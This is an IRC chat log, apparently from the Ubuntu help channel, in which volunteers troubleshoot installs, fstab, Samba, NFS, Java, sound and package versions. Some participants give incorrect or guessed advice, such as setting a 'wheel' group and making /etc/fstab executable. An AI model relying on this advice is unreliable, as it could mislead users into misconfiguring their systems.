before that it said Running /scripts/init-bottom [11:03] Done. [11:03] pradeep, learn a programming language like C, java or python [11:03] that is ESSENTIAL [11:03] no [11:03] I know c [11:03] no [11:04] Joe__: sounds like /etc/fstab doesn't exist [11:04] I put it back... [11:04] sure if you feel like writing something [11:04] FY1: I know c and Java [11:04] congrads [11:04] realmer: I think it's the compatibilities with the processor, not the install. Thanks but I think I'd like to try a new flavour of linux anyway. [villain voice] This isn't the last you'll see of mee!! [11:04] Bye. [11:04] it was missing, I took fstab~(ie the backup) and did sudo cp /etc/fstab~ /etc/fstab [11:04] pradeep: OK... ask yourself (and answer) what you want to do, does anything stick out? [11:04] what should the ownership/writes be on it? === FY1 is now known as FYI [11:04] My laptop has an Intel Centrino Duo processor... what version of Ubuntu should be installed on it? [11:05] <[Gutsy]TuTUXG> i mean show i use the 32 bit jdk on 64 bit ubuntu? how 64 bit ubuntu handle it? [11:05] Joe__: chown root:wheel /etc/fstab [11:05] to learn simple linux commands for terminal goto http://www.ss64.com/bash/ [11:05] wheel? [11:05] [Gutsy]TuTUXG: works jus fine [11:05] Joe__: superuser group. root's part of it [11:06] !fixmbr [11:06] grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto [11:06] ok, just need to reboot the liveCD so I can get in there [11:06] <[Gutsy]TuTUXG> realmer, thanks, so the 32 bit jdk is in the 64 bit repos? [11:06] [Gutsy]TuTUXG: not sure [11:07] your linux /usr/bin folder is like program files in windows [11:07] Q: How do I restrict samba users ? I want one particular user to only access one folder...? [11:07] !offtopic > FYI [11:07] FY1: My role in the project is still not assigned. I was just told that I would be using LINUX and a software 'Click router(implemented by C++)'. Is it better I should wait till then [11:07] [Gutsy]TuTUXG: I usually install custom java [11:07] does anyone know why via drivers won't work for unichrome pro? [11:07] <[Gutsy]TuTUXG> realmer, u mean from sun? [11:07] [Gutsy]TuTUXG: yes [11:07] FY1: I mean till my role is clear. [11:07] right click on the folder u want and choose the share option [11:08] nn everyone too much todo and not enought time [11:08] cre8torx: was that for me? [11:08] pradeep: Sounds like you'll only be programming [11:08] <[Gutsy]TuTUXG> realmer, so it's like the same procedure to install it in the 32 bit os? [11:08] pradeep: not sure what you will need to learn [11:08] i just jot out random answers i guess [11:08] FY1: may be yes [11:09] thx cre8torx [11:09] [Gutsy]TuTUXG: well, actually have played with 32 bit stuff under 64 bit more under opensuse, but it can not be that much different under ubuntu :) [11:09] pradeep: but if you interest extends to a personal level, you should read up on whatever you want. I'm not a linux genius, but I love using it and learning more random stuff everyday [11:09] now does anyone have played with compiz freewins? [11:10] Hi... lshw says I have a "Intel(R) Core(TM)2 CPU T5500 @ 1.66GHz"... which version on Ubuntu should I be using? [11:10] cre8torx: should i use 'invalid users' in smb.conf? [11:10] <[Gutsy]TuTUXG> chazco, amd64 [11:10] The laptop sticker says it is Centrino Duo though [11:11] could someone please assist? I see the folder in my network and I want to set up my computer to auto-mount it on startup. Its shared using nfs. What do I need to do? Its address is this "smb://HPMACHINE/MyBook" [11:11] I would like to know if menus are not supposed to rotate with windows or is this configuration problem [11:11] chazco: probably i386 [11:11] according to the folder :) [11:11] FYI: if it is only programming will the basic knowledge be enough? [11:11] Ah... two different answers :) [11:11] pradeep: it should be... if not just come back here haha or #linux [11:11] <[Gutsy]TuTUXG> chazco, sorry, dont listen to me [11:11] ? [11:12] <[Gutsy]TuTUXG> chazco, google ur cpu to c if it's 64 bit cpu [11:12] hello there. anyone know if there is a quick way to remove a bunch of packages with apt/aptitude? I want to restore my ubuntu gutsy system to its default amount of packages and then de-select for removal a few other packages I want to keep? Any guides for doing this? [11:12] jesse: It didn't say, shall I just go for 64bit? [11:12] It also says Width: 64 bits... which makes me think x86-64 [11:12] cFYI:thanks c u soon!!!! :) [11:12] Starnestommy: chown: 'root:wheel' invalid group [11:12] "core 2" refers to a 64 bit brand, but how useful it is I'm not sure. I have a 64 bit processor but happily use i386 [11:12] Joe__: try root instead of root:wheel [11:12] Q: I want to direct samba users to certain folders, and no lower in the hierarchy. Can someone help? [11:12] <[Gutsy]TuTUXG> chazco, if it's 64 bit, then u can use both 64 bit and 32 bit version of ubuntu [11:12] width: 64 bits [11:13] sure hold on [11:13] Starnestommy: did, and that's what it was already set to root as owner and group [11:13] rw-r--r-- [11:13] Any benefit to running the 64 bit version (currently running the standard version) [11:13] Joe__: chmod a+x /etc/fstab [11:13] chazco: you can use moar memory (+4GB) [11:13] is there any way to restart alsa like I do emerald when I'm having visual troubles [11:13] ok [11:13] any at all ? [11:13] chazco: speed [11:13] plus apps that are 64bit works a bit faster [11:14] nicholaspaul goto your system folder throgh the menu [11:14] Starnestommy: anything else I should look for while I'm in here, liveCD takes forever to start up, heh [11:14] Only have 1GB of memory currently (cant really afford more, dont need it though luckily)... faster apps sound good though [11:14] Any impact on battery life? [11:14] there is a folder sharing option [11:14] nicholaspaul goto your system folder throgh the menu [11:14] <[Gutsy]TuTUXG> hk2999, really i thought the intel 945/965 only can c up to 3g of ram [11:14] there is a folder sharing option [11:14] cre8torx: ok. [11:14] chazco: about the same as 32-bit [11:14] hmm... may be worth trying to upgrade then [11:14] find it [11:15] If its not 64 bit will the live CD for it just not work? [11:15] it'll likely say something about not being able to enter long mode [11:15] chazco: you might get into lots of compatibility problems though. i tried using the 64 bit edition once on my pc, but stopped because most browser plugins and games don't compile with it. :( [11:15] cre8torx: you mean /sys ? [11:16] find your system folder and theres a programs called shared folders [11:16] Starnestommy: http://ubuntuforums.org/showthread.php?t=613779&highlight=kernel+panic [11:16] that says I should use liveCD to reinstall the kernel... how? [11:16] hmm... I may try the live CD / duel boot for a while, see if its any good then [11:16] yea [11:16] no [11:16] hold on i'll give you the full ext. [11:17] ok [11:17] re [11:17] <[Gutsy]TuTUXG> if i run a 32 bit app under 64 bit os, will the performance be the same as it running under a 32 bit os with the same pc? [11:17] how do i get flash working [11:17] !flash [11:17] To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - Flash 9 is now available in dapper-backports and edgy-backports - See also !Restricted and !Gnash [11:18] The Flash plugin installation is currently broken. This is due to Adobe changing the tar file that the package downloads. See http://ubuntuforums.org/showthread.php?t=636397 if you need to fix this immediately, but it's recommended to wait for an official fix. [11:18] why are you want to install 64 bit ubuntu ? [11:18] [Gutsy]TuTUXG: Not identy the same [11:18] <[Gutsy]TuTUXG> zhan_zr, slower? [11:19] faster [11:19] [Gutsy]TuTUXG: Much likely to be slower [11:19] but only about by 10% faster [11:19] nicholaspaul what are you useing gnome kde /??????????????????????? [11:19] I need to analyze some data being sent to and from my computer. Any suggestions on how to do this? [11:19] cre8torx: Gnome [11:19] <[Gutsy]TuTUXG> cuz i m going to get a new lap with c2d t7500, with is 64 bit [11:19] ok [11:19] CroX: wireshark? [11:19] exit [11:19] <[Gutsy]TuTUXG> ? [11:19] whoops [11:19] <[Gutsy]TuTUXG> slower or faster? [11:20] hello, [11:20] [Gutsy]TuTUXG: I've found it faster [11:20] Starnestommy: I'll try that out. [11:20] [Gutsy]TuTUXG: Why not installing a 64bit version? [11:20] tutuxg i know [11:20] <[Gutsy]TuTUXG> Starnestommy, which cpu u have? [11:20] [Gutsy]TuTUXG: amd 5600+ [11:20] dual core [11:20] is someone here, who could help me installing ubuntu on a "HP Compaq 6715b". I'M getting the error "no screens found" [11:20] <[Gutsy]TuTUXG> zhan_zr, i m going to but i need to make sure i can use sun java + eclipse with it [11:21] Starnestommy: You can't be sure absolutely. It depends on the applications. [11:21] <[Gutsy]TuTUXG> zhan_zr, that's what we use in our java class [11:21] Why couldnt they just make networking easy. [11:21] mount.nfs: directory to mount not in host:dir format [11:21] hi guys [11:21] [Gutsy]TuTUXG: Oh, I got it. [11:21] I need Java and Eclispe too... do they work well on 64? [11:21] does anyone know how to make a samba user only have access to certain folders? [11:21] I'm having trouble with 'invalid users' in smb.conf [11:21] <[Gutsy]TuTUXG> Starnestommy, could it be slower with intel processors? [11:21] thats what i get on a mount -a after adding this to fstab "192.168.1.101/My%20Book /mnt/MyBook nfs rsize=8192,wsize=8192,timeo=14,intr 0 0" [11:21] - or is it 'username = ' ? [11:22] sun java works on 64bit, if you don't need the firefox plugin. [11:22] am i doing something wrong? [11:22] guys how to disconnect and reconnect my network from the command line? [11:22] [Gutsy]TuTUXG: likely faster, considering that amd and intel are similar [11:22] lllo [11:22] hello [11:22] <^root^> Hi! when i try to SSH to some system, i am asked to add its key, how can i implicitly set this option to Always rather then entering manually while connecting? [11:23] ajgdugjkad [11:23] verb3k: "sudo ifdown " disconnects. ifup connects [11:23] <[Gutsy]TuTUXG> void, but i thought u can use the plugin with the wrapper package [11:23] hk2999, how to know my interface number? [11:23] Think i'll stick with 32 bit for now (it works at least [11:24] is someone here, who could help me installing ubuntu on a "HP Compaq 6715b". I'M getting the error "no screens found" [11:24] PLEASE HELP [11:24] verb3k: ifconfig [11:24] would anyone know where to start with a laptop touch pad that intermittently stops working? just need pointing in the right direction as I'm stumped [11:24] <[Gutsy]TuTUXG> Starnestommy, really? i thought that amd claims that intel duo core is not the "real" duo core [11:25] [Gutsy]TuTUXG: yes, you can use the 32bit plugin. it's messy. [11:25] marketting people can't be trusted :) [11:25] <[Gutsy]TuTUXG> void^, how messy? not function well? [11:25] Marvoloe: what is your video card. [11:25] you need drivers for it it seems. [11:26] hm [11:26] hk2999, ifconfig tells me that it is eth0 but ifup says "Ignoring unknown interface eth0=eth0." [11:26] hk2999, *thank god someone reacted* i have "ATI Radeon X1250" (more: http://www.notebooksbilliger.de/product_info.php/hp_6715b_mit_xp_prof) [11:26] [Gutsy]TuTUXG: if you use 64bit java outside of firefox you end up loading the jre twice [11:26] Starnestommy: still same error... [11:26] hello [11:26] nichole [11:27] <[Gutsy]TuTUXG> void^, i thought sun doesnt provide 64 bit jdk? they do? they just doesnt have the 64 bit plugin? [11:27] Joe__: only thing I can think of is a bad initrd or kernel causing it [11:27] [Gutsy]TuTUXG: that's right [11:27] How can I install package version X but tell the package system that version Y dependency is met? [11:27] <[Gutsy]TuTUXG> void^, ... that's messy [11:27] that is, the Y dependency is met by the X version [11:27] hk2999, i have a HP Compaq 6715b, problems with ubuntu are known... but it can't be that difficult, can it? [11:27] verb3k: can you pastebin the entire error/commandline scrap? [11:28] Starnestommy: ubuntu forums seems to suggest kernel and they said to use the liveCD to reinstall the kernel.. but how? [11:28] <[Gutsy]TuTUXG> void^, how about i use both 32 bit jdk and plugin? [11:28] is there no way to restore a default install of ubuntu from apt? [11:28] i don't know anything about that. :( [11:28] hk2999, there is another interface called "lo" loopback or something and seems to work with the command [11:29] I just want to remove /most/ of the packages i installed. [11:29] <[Gutsy]TuTUXG> void^, will 64 bit eclipse work with 32 bit jdk? [11:29] [Gutsy]TuTUXG: might as well use a 32 bit system [11:29] <[Gutsy]TuTUXG> void^, good point [11:29] Joe__: mount the hd, cd to it, run sudo chroot, then do apt-get install linux-image [11:29] verb3k: so, you don't have any eth interfaces available on the ifconfig list? [11:29] sounds simple enough [11:30] hk2999, who knows... I'm freaking out. I just got a new laptob to get ubuntu running and ubuntu is tu stupid to recodnise my screen... where can i get help (except for google, I've read everything!) [11:30] I'll need to do something for grub won't I? [11:30] hk2999, only two : eth0 and lo [11:30] Joe__: and update-initramfs [11:30] verb3k: and sudo ifup eth0 does what? [11:30] laptob --> labtop ^^ [11:30] ubuntuforums.org ? [11:30] hk2999, says Ignoring unknown interface eth0=eth0. [11:30] <[Gutsy]TuTUXG> void^, probly i will try to duo boot and c how faster the 64 bit version could get [11:30] i left xfce to anwser questions about ubuntu wtf [11:30] [Gutsy]TuTUXG: also, the pluginwrapper isn't the most reliable piece of software, it's a little quirky. if you need applets often i suggest avoiding it. we should have a real 64bit java plugin soon enough (icedtea) but until then it's just a mess. [11:31] verb3k: what is the interface anyway? is it a static wireless network? [11:31] hk2999, ubuntuforums.org there are threads but no solution. [11:31] hk2999, it's an ethernet card in a desktop machine [11:31] hi i need plugins mp3 to amarok [11:32] <[Gutsy]TuTUXG> void^, ok... it really seem to a waste of putting a 32 bit os with a 64 bit cpu tho [11:32] tough luck. [11:32] goto synaptic package manager [11:32] czesc potrzebuje pluginu mp3 do linuksa [11:32] do amaroka [11:32] yea [11:32] <[Gutsy]TuTUXG> void^, but since ms does that all the time [11:33] [Gutsy]TuTUXG: you most likely won't notice the difference anyway [11:33] hk2999, thanks [11:33] verb3k: try sudo ifdown eth0 first [11:33] then sudo ifup eth0 again [11:34] hk2999, ok [11:34] works now? [11:34] hk2999, ifdown says "ifdown: interface eth0 not configured" [11:34] Starnestommy: chroot missing operand [11:34] Joe__: chroot /mount/point/for/hard/disk [11:35] hk2999, seems strange [11:35] ie /media/disk ? [11:36] Joe__: I think so [11:36] Starnestommy: won't let me, says is already the newest version [11:36] verb3k: maybe the net's not connected? [11:36] Hey Guys, I have an unusual question relating to Debian/Ubuntu and the Thecus n5200, anyone interested in the topic [11:36] apt-get remove, then instlal?

[12:00] Strangelv: If you don't mind me asking, what's with the extra "'s? [12:00] any ideas?? [12:00] Tyroazard: I've been doing most of my online realtime discussion in ASI MOO since late 1999 [12:01] randomwalker: I think it has to do with the update-grub program and the way you have menu.lst laid out [12:01] "starting the line with double quotes makes it a say instead of a command [12:01] Ah. [12:01] :: thought he'd backspaced past that double quote [12:01] <[Gutsy]TuTUXG> mrmonday, mencoder?

[12:03] randomwalker: try copying the windows parts of menu.lst into another file, update the kernel, then paste the windows parts back in [12:03] "I must admit that part of my unfamiliarity with the menu.lst problem is that I've not created any dual boot installs for awhile [12:03] anyone have any ideas on what might cause a disk access every 5 seconds> [12:04] ? [12:04] Isn't disk access every 5 seconds normal? [12:04] Starnestommy, thanks, that does work, i do it myself, but that's too complicated for my parents to do [12:04] "how heavy is the disk access?

[12:04] Starnestommy, possibly but i don't see anything that would do so [12:05] <[Gutsy]TuTUXG> randompolygamy, and when windows entry disappears, just run the script [12:05] That sounds possibly within the realm of normal. I don't know the specifics. This is a fixed disk with your root partition?

What should I do next? [12:38] pawleeq: backup your config under prefs in ccsm and reset to defaults. Does the problem still happen>? [12:38] RAdams, mmt [12:38] fruitbag: remember, only copy the sections that relate to the monitor, NOT the graphics card, mouse, keyboard, etc [12:38] fruitbag: and make sure the section names match up [12:38] is anybody here familiar with configuration of synaptics? [12:38] :-) [12:39] yupeng007: just ask the question [12:39] I have ubuntu installed on a 4 gb partition and im out of space now..can you help [12:39] I have a very obscure brand of monitor. [12:39] lfs: get a larger hard drive, resize the partition, or remove software you're not using. [12:40] RAdams, no [12:40] can i extend it? [12:40] lfs: try increcing the partition using gparted [12:40] lfs: gparted [12:40] yeah, Gparted is included is in live cd [12:40] i didn't know which variable is for that makes me able to click on the touchpad not just click on the 2 buttons. [12:40] starnestommy: oh, haha, ok, thanks [12:41] hi i'm getting this error when im trying to install q2mc, Error: Wrong QMake version. QMake version 2 (Qt 4) required! [12:41] i tried installing qt4 from add/remove but istill get same error any ideas? :o [12:42] I have a laptop. i used to run ubuntu on it. i recently upgraded to 7.10. now i here the parking noise of hd, a lot. what is the reasonable thing to do here? [12:42] But, guys -- how could I type the commands when I have no screen? ;s [12:42] lfs: not without doing a partition resize which comes with risk [12:42] fruitbag: ctrl+alt+f1? [12:42] fruitbag: "recovery mode" [12:43] pawleeq: then restore your settings, and check through the window preferences and see if there's a specific setting misconfigured. You've successsfully determined it's your config causing the problem [12:43] Thanks, guys. [12:43] realmer: do I do that when I have the resolution problem? [12:43] pawleeq: I would start with advanced search in ccsm and search "cursor" or "mouse" [12:43] That is, when I am prompted by a message by my monitor? [12:44] RAdams, thanks very much I do not have fine tuned profile in compiz so I will easily tune the default one [12:44] fruitbag: ctrl alt f1 will take you to another tty, which give you command line access [12:45] pawleeq, yeah, that's the easiest way :) [12:45] RAdams, nevertheless I find it quite strange, becuase there was nothing like this happening yeasterday... [12:46] hello [12:46] will the live CD destroy my hd too? [12:46] pawleeq: that is strange. See if it happens again, but back up your settings each time you make a change in ccsm. That way, when it does happen, you can use compdiff and see what's being corrupted in your compiz settings file [12:46] How can I install package version X but tell the package system that version Y dependency is met? [12:46] that is, the Y dependency is met by the X version [12:46] pawleeq: if you get that level of information, report a launchpad bug [12:47] how do i turn off alerts like "* Shyde has joined #ubuntu" in mIRC? [12:47] I would like to know how to take ownership of a drive who's owner is root. tred sudo chown ruud /media/drivename [12:47] Ruud, maybe remount [12:47] <[Gutsy]TuTUXG> jaggz-, get the source, change the version then repackage it [12:47] Ruud, mount -o 'remount,uid=me' [12:47] RAdams, might my previous expewriments with KDE4 coused this (I doubt, but thats only reasonable explanation I can think of...) [12:48] TuTUXG, gawww.. is that it? :( [12:48] But I don't want to remount it every time.., how does it mount automatically me being owner? [12:48] pawleeq: it's possible, I suppose [12:48] ruud: /etc/fstab [12:48] <[Gutsy]TuTUXG> ? [12:48] I force-installed a different version of python in this very old ubuntu system.. and now the system wants to delete a ton of packages because their beloved python-version (older) is not around anymore [12:48] hello people [12:48] jaggz-: forcing versions results in borkage [12:49] i need some help with ubuntu on ppc [12:49] read the manpage for mount [12:49] !ask connordejong [12:49] RAdams, i force-installed the package because the original ones are no longer available :( [12:49] anyone can help me with installing ubuntu ppc [12:49] !ask | connordejong [12:49] connordejong: Please don't ask to ask a question, ask the question -- All On One Line, so others can read it and follow it easily --. and if anyone knows the answer they will most likely answer. :-) [12:49] ok thanks ubotu [12:49] RAdams: it is not in the fstab because I don't have it on at all times, it is my removable backupdrive... [12:49] RAdams, well thx for support and have a nice day:) [12:49] !microphone [12:49] Sorry, I don't know anything about microphone - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [12:49] !mic [12:49] Sorry, I don't know anything about mic - try searching on http://ubotu.ubuntu-nl.org/factoids.cgi [12:49] got the stuff I needed installed.. but other things rely on the other version.. they don't really require it -- just that they want the number [12:49] how do i set my mic ? [12:50] When I need it I'll turn it on, but it get root as owner then as it seems [12:50] forsaken: plug it in? [12:50] Ruud, so, manpage for mount and look up the uid, gid stuff [12:50] modulus: beat me to it [12:50] then put it in fstab but put "noauto" in there I think [12:50] there's some option to not have it mount automatically [12:50] forsaken, plug it onto the line-in [12:50] ruud: jaggz- is correct. noauto is what you want [12:50] jaggz-: This means I'll have to do that every time? or des it mount the next time as me when i turn it on? [12:51] modulus it is plugged in [12:51] ruud: it will mount when you mount it [12:51] ForsakenSoul: give it volume. [12:51] forsaken, run alsamixer and unmute the line-in and turn the volume for it up [12:51] oh.. hmm.. I see what you mean [12:51] Forsaken double click on the picture of a speaker in the cornor of ur desktop and make sure the mic isnt muted [12:51] i need help with the ubuntu ppc live cd installing on an ibookg4, i downloaded 7.10 off of the mirror, put it on the cd, and checked it for corruption, then i put it in, and the black screen saying 'welcome to ubuntu 7.10' comes up... then i hit enter, and it runs through a couple of windows, but then the screen goes black, and stays like that... nothing happens, and it doesn't allow any commands to put in. I've downloaded ubuntu [12:51] RAdams: I understand, but Ubuntu mounts it on its own which I like very much... Is there a way to have it mounted automatically as me every time I turn it on? [12:52] I'm not sure if you can have something detect the drive's ID (I have no idea how such a thing works).. [12:52] <[Gutsy]TuTUXG> jaggz-, or u can repackage ur newer version package with modifying its version to the old one [12:52] TuTU, that's a good idea! [12:52] at least.. I think that one may be possible.. [12:52] hi! i have installed ubuntu on my new pc and i want to update everything now. is it possible to copy the packages from another pc which is up to date? [12:52] can I re-package it from the installed files? [12:52] connordejong does it give any error messages? [12:52] <[Gutsy]TuTUXG> jaggz-, it's all in one file [12:53] like, dpkg -L debian-vX-dev > file-list [12:53] <[Gutsy]TuTUXG> jaggz-, sorry what do u mean? [12:53] Hatl no, that won't work [12:53] Hatl, yes,if it is the same version of ubuntu [12:53] then: make-package debian-vOLD-dev -f file-list [12:53] hola [12:53] hola [12:53] I'm not sure yet how to make a package, but in my psuedo-shell-speak... [12:53] ruud: when you used chown, did you use -r? [12:53] bodsda; no it does not unfortunately... the screen just goes completely black, although right before that the previous window had said something about two things false, but it goes too fast for me to read it, nevertheless copy it down [12:53] <[Gutsy]TuTUXG> jaggz-, i don't know how to do that, what i always do is get the source code of that package and modify it and repackage it [12:54] I think this might work.. yay. Then I am not forced to upgrade just yet :) [12:54] RAdams: no, I'll look it up.... [12:54] Hatl, you can copy the packages in /var/cache/apt/archives to the same directory in the other machine and then run the update manager [12:54] yeah, I think I don't need the source though [12:54] verb3k: that did not work. the update-manager wants to download everything again [12:54] since the files going into the package aren't source [12:54] soldats it doesn`t work [12:54] connordejong have u got a graphics card plugged in? [12:55] ruud, again, I really am not sure about automatically detecting the specific type of device [12:55] bodsda: what kind of ridiculous question is that? [12:55] RAdams: how does it help changing the owner if I set it to recursive? [12:55] Bodsda: yea what do you mean? [12:55] Hatl, that's strange [12:55] you'd want some special usb-file or something which says: device-XxXx gets these mount options \n device-YyYy gets these mount options... [12:55] jaggz-: So I should remount if I want a different owner every time I want this? [12:55] is there any way i can see if my mic is even working ? === mneisen is now known as mneisen|afk [12:55] ruud: because you need to own below the level of the folder. having ownership of the folder, but nothing inside of it, doesn't help you [12:56] ubuntu 7.10 wouldnt install on my pc when i had my graphics card plugged in,.i had to install then put the graphics card back in then putdrivers on it then use it [12:56] Bodsda: It's on an an iBook ppc - [12:56] well, if it's the only device you're going to have on /dev/foo then you can just put those options in /etc/fstab [12:56] <[Gutsy]TuTUXG> jaggz-, actually u need to change the version number in debian/changelog within the package source [12:56] RAdams, that I understand, but I cannot even change the owner as it seems without remounting [12:56] I'm not sure about security issues with that, but I think it'd be fine [12:56] oh,.,.my bad [12:56] hairulfr: thanks [12:56] forsaken, if you know how to run it through a cable checker yes, or if you have a PA system try it on there. or even a guitar amp [12:56] but any device that goes to /dev/whatever will get those options [12:56] let me put the question down again so you can get it right [12:56] i need help with the ubuntu ppc live cd installing on an ibookg4, i downloaded 7.10 off of the mirror, put it on the cd, and checked it for corruption, then i put it in, and the black screen saying 'welcome to ubuntu 7.10' comes up... then i hit enter, and it runs through a couple of windows, but then the screen goes black, and stays like that... nothing happens, and it doesn't allow any commands to put in. I've downloaded ubuntu [12:56] there [12:56] ruud: you should only need to chown -r (while it's mounted) once. it should remember that [12:56] guys is it possible to bring down/up network connections for interfaces that are not configured in /etc/network/interfaces through the command line? [12:56] ForsakenSoul: you can use soundrecoder [12:56] verb3k: is there anything else i have to copy? [12:57] if you have options in /etc/fstab, you can just type "mount /dev/whatever" and all the options will be obtained from fstab automatically [12:57] chown -R [12:57] Hatl, don't really know...sorry [12:57] connordejong: Have you tried Yellowdog? I've had early versions of ubuntu running on my ibook 500 mhz, but nothing never than 6.10. That worked without a flaw. Yellowdog also worked great.' [12:57] connordejong: try the alternate install cd [12:57] verb3k you can use ifconfig to config an interface, then bring it up [12:57] excellent point.. can just chown -R the_directory_or_files you want [12:58] what filesystem is on the backup drive, ruud? [12:58] hairulfr: I have never tried yellowdog... i am a python programmer, and looking for a good platform for me to develop 2d games on with python [12:58] clear up [12:58] RAdams: the alternate cd? What would that change... I don't want to waste another cd... [12:58] jaggz-: So I can add a line in the fstab that doesn't actually mount at that time but will be read when mounting [12:58] jaggz-: I think it is fat32 [12:58] connordejong, google pygame [12:58] i have installed ubuntu on my new pc and i want to update everything now. is it possible to copy the packages from another pc which is up to date? [12:58] th0r, how to do the configuration ? [12:58] soldats: i know what pygame is [12:59] connordejong: it's not a "live" cd... it uses a text based install [12:59] soldats: im just having lots of trouble wiht python on my mac [12:59] Ruud, then you can't chown [12:59] verb3k is it wireless or wired? [12:59] can you?? [12:59] soldats: so i dont want to deal with it [12:59] jaggz-: Oops, it is ntfs which I don't like; I didn't know that! [12:59] th0r, wired ethernet [12:59] connordejong, have you used idle [12:59] soldats: ya that is where i learned to program [12:59] you have to use the global option when mounting [12:59] ntfs config tool [12:59] connordejong: and ctrl+alt+f1 does not work either? [12:59] soldats:as well as my current ide [12:59] but the idea is to automatically use that option uid= [12:59] realmer: what would that do? [13:00] ruud: i solved the same problem you had with chown -r. That's all I had to do. [13:00] so.. is it the only device you'll have on /dev/whatever ? [13:00] not for your connor [13:00] dejong [13:00] RAdams: I just found out it is ntfs :| [13:00] realmer: i've tried typing and pressing every button on my keyboard to find some kind of defualt out, but there is no response [13:00] ruud: man ntfs-3g [13:00] hey im looking for a tutorial or smiliar that explains me the different folders like var, usr, lib etc what theyre used for etc [13:00] verb3k just ifconfig then....the ifconfig man page will tell you all the information taht has to be included in the command. YOu will need the ip address, the netmask, the device, maybe other items if you have a weird config [13:00] bodsda: he addressed the question to me, [13:00] connordejong: should switch to text terminal instead of graphics, but it all depends of the actual problem would it work or not === Pravee1 is now known as Praveen [13:01] drhalen: http://www.freeos.com/articles/3102/ [13:01] thought u was talkig to me my bad [13:01] DrHalan: man hier [13:01] th0r, I see....I will try and report back [13:01] I know about the ntfs problems which exist(ed). So I want to convert it asap... [13:02] not paying attention for a bit [13:02] bodsda: no worries [13:02] RAdams, THANK YOU :) [13:02] connordejong: linux has virtual terminals that are accessible with ctrl+alt+f[1-n] [13:02] connordejong: ctrl+alt+f7 being the graphical one by default afaik [13:02] ok [13:03] so i should try that right now? [13:03] what would i do when i get that [13:03] realmer: sorry that was addressed to you realmer [13:03] realmer: hard to get used to this irc [13:03] realmer: havent really used it that much [13:04] Hi. I'm not getting any sound playback on my laptop (system sounds or amarok). How do I start to debug this? [13:04] th0r, is there another way? this command needs a networking expert and I am not one >_< [13:04] when I'm trying to update I always get this error: http://pastebin.ca/853238 any idea what to do about it? [13:04] sound bugs happen to me,. first thing try rebooting,.usually sorts it [13:04] It worked before, and I'm not sure when it stopped. [13:05] Bodsda: I've rebooted many times. [13:05] realmer, bodsda, soldats, RAdams: thanks for the helps guys, i will try those things out [13:05] i no can be random sometimes,.im not sure of the cause but a reboot fixes mine [13:05] does anyone know how i get install Qt 4.2.0+? [13:05] cool [13:05] damn [13:05] Amarok shows that it is playing the sound, but I hear nothing. I'm pretty sure I haven't put anything on mute. [13:06] do u get sound at the log in screen? [13:06] kyle_ usually by installing kde, but you might get away with just installing the libqt [13:06] !sound | steveire [13:06] steveire: If you're having problems with sound, first ensure ALSA is selected, by double clicking on the volume control, then File -> Change Device (ALSA Mixer).

How to get rid of the error messages? [13:09] RAdams: the filesystem is set to fuseblk [13:09] RAdams: should this be ntfs-g3?

[13:15] On my laptop the "Fn + Arrow down" is supposed to turn down volume, but it doesen't. I can see that the turns down the "Front" values in Alsamixer. But the one that controles the volume is "PCM" how do i change that? [13:16] can I prevent window from being closed? [13:16] kane77 how is the window being closed? automatically? [13:17] mewm: try right clicking the speaker icon and clicking "preferences" and changing the setting there [13:17] th0r, no, from being closed manually (by accident or so) [13:17] Thought I knew: how do I get my user_id and group_id??? [13:17] kane77 no...far as I know, when you tell the computer to do something it is going to do it. [13:17] ali1234, perfect! Thanks :P [13:18] Ruud: 'id' [13:18] kane77 least that is how *I* want it to work [13:18] kane77, I think that's up to the app itself [13:18] ali1234: damn :P [13:19] th0r, verb3k okay.. I just thought there might be some "lock" option [13:19] hey i need help. my video card is nvidia geforce4 ti 4200 but ubuntu undeteced my card. somebody help me ? [13:19] !nvidia | tevfik [13:19] tevfik: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto [13:19] ali1234, it doesen't work. The FN key and arrow down still only the "Front" ? [13:20] Hi. I broke my Automount in Gnome. Whenever i plug in a Mass Storage Device i get the Message 'Invalid mount option when attempting to mount the volume 'Sansa e260''. I can mount it manually, but i want my automounting back. How can i check wht is going on? [13:20] mewm: hmm, what does it say in system->prefs->keyboard shortcuts [13:20] i already download nvidia drivers// [13:20] anyone joining recently know how to reset the display in xorg or KDE without restarting xorg itself? VLC has a bad habit of leaving my display dimmed after putting it into fullscreen mode [13:21] is there a lightweight dist available similar to backtrack (live-cd) for desktop use? [13:21] ali1234, Volume up: 0xb0, Volume down: 0xae [13:21] mewm: do those correspond to fn + up/down? [13:21] ali1234, i have no idea [13:21] hey peeps [13:22] But i suppose so, since the "icon" of turning up and down pops up at the screen ali1234 [13:22] mewm: well, try to reset it? because those volume up+down should correspond to the slider control you get when left clicking on the speaker thing, which should now control the correct mixer on your card. [13:23] !qt [13:23] Qt is the Q toolkit, which forms the base of KDE and is used by many applications to provide a !GUI.

[13:23] mewm you can determine the keycodes with the showkey command [13:23] jaggz-: I have a bigger problem now! I changed the mount options from the drive in it's properties pane. From rw nosuid nodev noatime user_id=0 group_id=0 allow_other into: rw nosuid nodev noatime user_id=1000 group_id=1000 allow_other But now it doesn't work any more! I get a message that the volume cannot be mounted automatically! [13:24] jaggz-: How do I undo this change.. where are the options stored?? [13:24] how to change what a command does? there seems to be some problem with the "opera" command, which caused me to replace "opera" with "/usr/bin/opera" in many places... but i'd rather change what "opera" does. asking on their own server wasn't helpful. [13:24] ali1234, it works if i manually slide on it [13:25] mewm: i just tried it and i get the same as you... the keys always control the first mixer for some reason [13:25] Ruud, if you have edited the file in gedit, there should be a backup of the file with a "~" at the end [13:25] d_mitry: which opera [13:25] d_mitry: what does it show [13:25] ali1234, but i suppose that the "Volume down" and up on keyboard shortcut commands corresponds to the "Front" [13:25] realmer, 9.50 [13:25] verb3k: I did not change a file, I entered the line inside the drive properties pane [13:26] arr, and he left. :@ [13:26] Ruud, I see, maybe jaggz- can help === mneisen|afk is now known as mneisen [13:27] verb3k: If he answered ;) [13:27] Hi guys, if I have my Bluetooth Dongle and my Wireless USB at the same time, I can't get Wireless Connectivity.

